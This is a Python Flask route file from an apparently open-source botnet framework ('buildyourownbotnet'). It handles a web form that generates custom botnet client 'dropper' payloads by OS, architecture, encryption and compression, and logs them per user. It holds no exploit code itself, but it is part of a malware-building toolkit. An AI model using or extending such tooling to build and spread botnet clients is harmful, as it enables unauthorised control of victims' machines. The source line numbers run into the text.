Path: blob/master/web-gui/buildyourownbotnet/api/payload/routes.py
2052 views
import os1import subprocess2from flask import Blueprint, request, redirect, url_for, flash3from flask_login import login_user, logout_user, current_user, login_required4from buildyourownbotnet import client5from buildyourownbotnet.core.dao import payload_dao67# Blueprint8payload = Blueprint('payload', __name__)910# Routes11@payload.route("/api/payload/generate", methods=["POST"])12@login_required13def payload_generate():14"""Generates custom client scripts."""1516# required fields17payload_format = request.form.get('format')18operating_system = request.form.get('operating_system')19architecture = request.form.get('architecture')2021# flash error message if user doesn't select a payload format22if not payload_format:23flash('Please select a payload format.', 'warning')24return redirect(url_for('main.payloads'))2526# flash error message if user selects executable format without OS/arch27if 'exe' in payload_format and (operating_system is None or architecture is None):28flash('Please select an operating system and architecture to generate a binary executable.', 'warning')29return redirect(url_for('main.payloads'))3031# optional fields32encrypt = request.form.get('encrypt') if 'encrypt' in request.form else 033compress = request.form.get('compress') if 'compress' in request.form else 034freeze = 0 if 'py' in payload_format else 13536if freeze and subprocess.check_call(['which','docker']) != 0:37flash('Error: Docker is not installed or is not configured properly.')38return redirect(url_for('payloads'))3940# write dropper to user's output directory and return client creation page41options = {42'encrypt': encrypt,43'compress': compress,44'freeze': freeze,45'gui': 1,46'owner': current_user.username,47'operating_system': operating_system,48'architecture': architecture49}5051try:52outfile = client.main('', '', '', '', '', '', **options)5354# if pure python format, nullify os/arch before inserting record into database55operating_system = 'py' if 'py' in payload_format else operating_system56architecture = None if 'py' in payload_format else architecture5758# add payload to database59payload_dao.add_user_payload(current_user.id, os.path.basename(outfile), operating_system, architecture)60flash('Successfully generated payload: ' + os.path.basename(outfile), 'success')61except Exception as e:62flash('Error: compilation timed out or failed. Please go to the Discord support server for help.')63print("Exception in api.routes.payload.payload_generate: " + str(e))64return redirect(url_for('main.payloads'))6566